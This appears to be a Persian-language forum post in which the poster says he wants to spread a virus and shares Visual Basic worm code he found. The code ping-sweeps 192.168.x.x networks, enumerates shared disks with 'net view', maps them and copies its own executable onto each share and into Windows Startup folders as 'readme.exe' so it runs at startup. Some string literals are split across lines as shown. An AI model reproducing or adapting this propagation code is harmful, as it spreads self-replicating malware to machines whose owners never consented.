منتقل کردن فایل از پی سی معمولی به سرور

[Scorpion]

من هم دنبالشم برای تکثیر ویروس
یچیزی بعد 3 ساعت گشتن پیدا کردم ببینید بدرد میخوره ؟


----------
()Private Sub map_drive


         On Error Resume Next
         Dim buff
         Dim combuff
         Dim buffadd
         Dim fso, folder
         Dim r
         Dim s
         Dim add
         Dim sharename
         Dim pingbuff, buff2
         Dim count
         Dim a As String
         Dim hm
         hm = 1
         a = """"
         Set fso = CreateObject("scripting.filesystemobject")
         Set oshell = CreateObject("WScript.Shell")
         For r = ipbuff To ipbuff2
         s = 1
         add = "192.168." & r & "." & s
         oshell.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
         Set fsoo = CreateObject("scripting.filesystemobject")
         Set rdd = fsoo.opentextfile("C:\plog.tmp")
         pingbuff = ""
         For i = 0 To 3
         pingbuff = rdd.readline
         Next i
         buff2 = InStr(pingbuff, "TTL=")
         If buff2 <> "0" Or ipbuff = ipbuff2 Then 'connect suc
         For s = 1 To 255
         add = "192.168." & r & "." & s
         Set oshell_1 = CreateObject("WScript.Shell")
         oshell_1.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
         Set oshell_1 = Nothing
         Set fsoo = CreateObject("scripting.filesystemobject")
         Set rdd = fsoo.opentextfile("C:\plog.tmp")
         pingbuff = ""
         For i = 0 To 3
         pingbuff = rdd.readline
         Next i
         buff2 = InStr(pingbuff, "TTL=")
         If buff2 <> "0" Then 'connect suc
         Set oshell_2 = CreateObject("WScript.Shell")
         oshell_2.run "%comspec% /C net view \\" & add & " > C:\clog.tmp", 0, True
         Set oshell_2 = Nothing
         Set fso = CreateObject("scripting.filesystemobject")
         Set rd = fso.opentextfile("C:\clog.tmp")
         buff = ""
         Do While rd.AtEndOfStream <> True
         buff = rd.readline
         combuff = Right(Trim(buff), 4)
         If Right(combuff, 4) = "Disk" Then
         buffadd = Left(buff, 13)
         If Len(Trim(buffadd)) > 0 Then
         sharename = a & "\\" & add & "\" & Trim(buffadd) & a
         vadd = add
         vshare = buffadd
         Set oshell_3 = CreateObject("WScript.Shell")
         oshell_3.run "net use K:" & " " & sharename, vbHide
         Set oshell_3 = Nothing
         Call getname
         test = 0
         FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\" & appl & ".exe"
         test = Err.Number
         If test >= 1 Then
         'w
         Else
         Call log
         End If
         FileCopy App.Path & "\" & App.EXEName & ".exe",
   "K:\WINDOWS\Start Menu\Programs\StartUp\readme.exe"
         If Err.Number > 0 Then
         'w
         Else
         vshare = "startup98"
         Call log
         End If
         FileCopy App.Path & "\" & App.EXEName & ".exe",
    "K:\Documents and Settings\Administrator\Start
     Menu\Programs\StartUp\readme.exe"
         If Err.Number > 0 Then
         'w
         Else
         vshare = "startupNT"
         Call log
         End If
         dummy = GetAttr("K:")
         If dummy = 0 Then
         End If
         Set dshell = CreateObject("WScript.Shell")
         dshell.run "net use K: /delete ", vbHide
         Set dshell = Nothing
         End If
         End If
         Loop
         End If
         Next s
         End If
         Next r
         Set fso = Nothing
         Set fsoo = Nothing
         Set oshell = Nothing


End Sub